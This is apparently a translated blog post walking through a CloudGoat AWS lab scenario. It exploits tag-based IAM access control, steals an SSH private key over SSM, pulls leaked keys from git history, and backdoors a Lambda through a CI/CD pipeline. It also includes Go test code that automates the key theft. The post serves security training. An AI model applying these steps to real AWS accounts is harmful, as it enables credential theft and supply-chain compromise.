构建易受攻击的AWS DevOps环境作为CloudGoat场景
CloudGoat:易受攻击的AWS环境
CloudGoat是一个开源项目,包含一系列易受攻击的AWS环境库,可以使用Python封装的Terraform在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹,包含其描述和解决方案。
示例CloudGoat场景
例如,您可以使用以下命令在AWS账户中启动cicd
场景:
python cloudgoat.py create cicd
此命令将运行Terraform来启动基础设施,并显示开始使用的说明。通常,它会输出一组AWS凭据作为起点。
贡献新的CloudGoat场景
直接链接:https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd
场景故事
FooCorp是一家暴露公共API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据:
POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/htmlsuperSecretData=...
该API通过API Gateway暴露,实现为Lambda函数。由于FooCorp实施DevOps,它有一个持续部署管道,可在几分钟内将Lambda函数的新版本从源代码自动部署到生产环境。
FooCorp的持续部署管道。
您的任务(如果您选择接受):您将获得一个权限不足的IAM用户的初始AWS凭据集。您的目标是窃取提交到FooCorp API的敏感数据。请注意,模拟用户活动正在账户中进行,模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。
该场景包含:
- 3个IAM用户
- 1个VPC,其中包含私有子网中的EC2实例
- 用于实现API的组件:
- 1个API Gateway
- 1个Lambda函数
- 1个ECR存储库
- 用于实现持续部署管道的组件:
- 1个CodePipeline管道
- 2个CodeBuild项目
- 1个CodeCommit存储库
利用演练
当我们通过python3 cloudgoat.py create cicd
实例化场景时,我们会获得一个初始的AWS IAM访问密钥:
[cloudgoat] terraform apply completed with no error code.[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....
我们可以在环境中设置AWS_ACCESS_KEY_ID
和AWS_SECRET_ACCESS_KEY
,或使用aws-vault
。我更喜欢后者,因为它可以方便地同时使用CLI和AWS控制台。
$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session
我们以名为ec2-sandbox-manager
的用户身份进行身份验证,该用户具有IAM策略,允许我们管理标记为Environment=dev
的EC2实例的标签,并对具有Environment=sandbox
的实例执行任何SSM操作。
{"Effect": "Allow","Resource": "*","Action": ["ec2:CreateTags","ec2:DeleteTags"],"Condition": {"StringLike": {"ec2:ResourceTag/Environment": ["dev"]}}
},
{"Effect": "Allow","Resource": "*","Action": ["ssm:*"],"Condition": {"StringLike": {"ssm:ResourceTag/Environment": ["sandbox"]}}
}
一个EC2实例正在运行,标记为Environment=dev
:
我们的IAM策略不允许我们通过AWS SSM Session Manager访问实例。但是,我们确实有权覆盖用于访问控制的Environment
标签:
然后我们可以访问EC2实例:
$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)
在我们认证用户的主目录下,找到一个SSH私钥:
$ cd
$ cat .ssh/id_rsa
--
MIIEpAIBAAKCAQEApn/Tcy
...
通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较,我们注意到被盗的私钥属于名为cloner
的IAM用户:
$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11$ aws iam list-ssh-public-keys --user-name cloner
{"SSHPublicKeys": [{"UserName": "cloner","SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ","Status": "Active","UploadDate": "2021-12-27T10:34:19+00:00"}]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint'
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66
该用户恰好对CodeCommit存储库具有codecommit:GitPull
权限。使用CodeCommit文档,我们可以将存储库克隆到本地机器:
chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')cat >> .ssh/config <<EOF
Host *.amazonaws.comIdentityFile ~/.ssh/stolen_key
EOFgit clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api
现在我们有权访问应用程序的源代码!
源代码中没有什么有趣的内容。但是,如果我们查看Git提交历史,有一个提交引起了我们的注意:
39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml
分析此提交的差异(git show f1cb341
)揭示了一些泄露的AWS凭据!
使用这些凭据向AWS进行身份验证,我们注意到我们刚刚泄露了IAM用户developer
的凭据,该用户具有codecommit:GitPush
和codecommit:PutFile
权限。
我们现在可以使用CodeCommit UI后门应用程序,并等待持续部署管道将其部署到生产环境!例如,我们可以让应用程序将秘密数据记录到其日志(CloudWatch日志组/aws/lambda/backend-api
)。我们也可以后门应用程序,使其在每个请求上将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码,而是后门Docker镜像本身。
一旦我们执行了恶意提交,CodePipeline管道就会获取我们的更改并开始将其推出到生产环境:
几分钟后,我们成功后门了应用程序并捕获了标志!
START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643
使用端到端测试进行持续测试
如前所述,此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码并非简单。我们如何高度自信地确认它持续按预期工作?请记住,在我们的上下文中,工作意味着处于可通过预期步骤利用的状态。
我们利用了Terratest,一个用于测试Terraform代码的Go库。更具体地说,我们编写了如下工作的Go测试:
- 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
- 从我们的Go测试中,向FooCorp API发送实际的HTTP请求,确保其已正确部署。
- 仍然从我们的Go测试中,以编程方式执行利用步骤,一步一步。
- 测试结束后,通过我们的Terraform代码销毁我们配置的基础设施。
然后我们可以使用go test
运行测试,无论是手动还是自动在每个拉取请求上。以下是"代码形式的利用步骤"示例:
func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {// 在实例上执行SSM命令以窃取SSH私钥ssmClient := ssm.NewFromConfig(test.awsConfig)result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{DocumentName: aws.String("AWS-RunShellScript"),InstanceIds: []string{instanceId},Parameters: map[string][]string{"commands": {"cat /home/ssm-user/.ssh/id_rsa"},},})test.assert.Nil(err, "Unable to send SSM command to instance")// 等待SSM命令的输出commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{CommandId: result.Command.CommandId,InstanceId: &instanceId,}, 2*time.Minute)test.assert.Nil(err, "failed to retrieve SSM command output")// 我们成功窃取了SSH私钥return *commandOutput.StandardOutputContent
}
--- PASS: TestScenario (248.47s)
PASS
ok github.com/cloudgoat/tests/supply-chain-security 249.070s
结论
我鼓励您尝试这个场景!更一般地说,CloudGoat有一组有价值的实验室,包含许多真实的AWS漏洞。
您对这个场景有什么看法?您如何测试您的安全实验室?您希望在CloudGoat中接下来看到什么?让我们在Twitter上继续讨论!
感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验!感谢您的阅读。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码
公众号二维码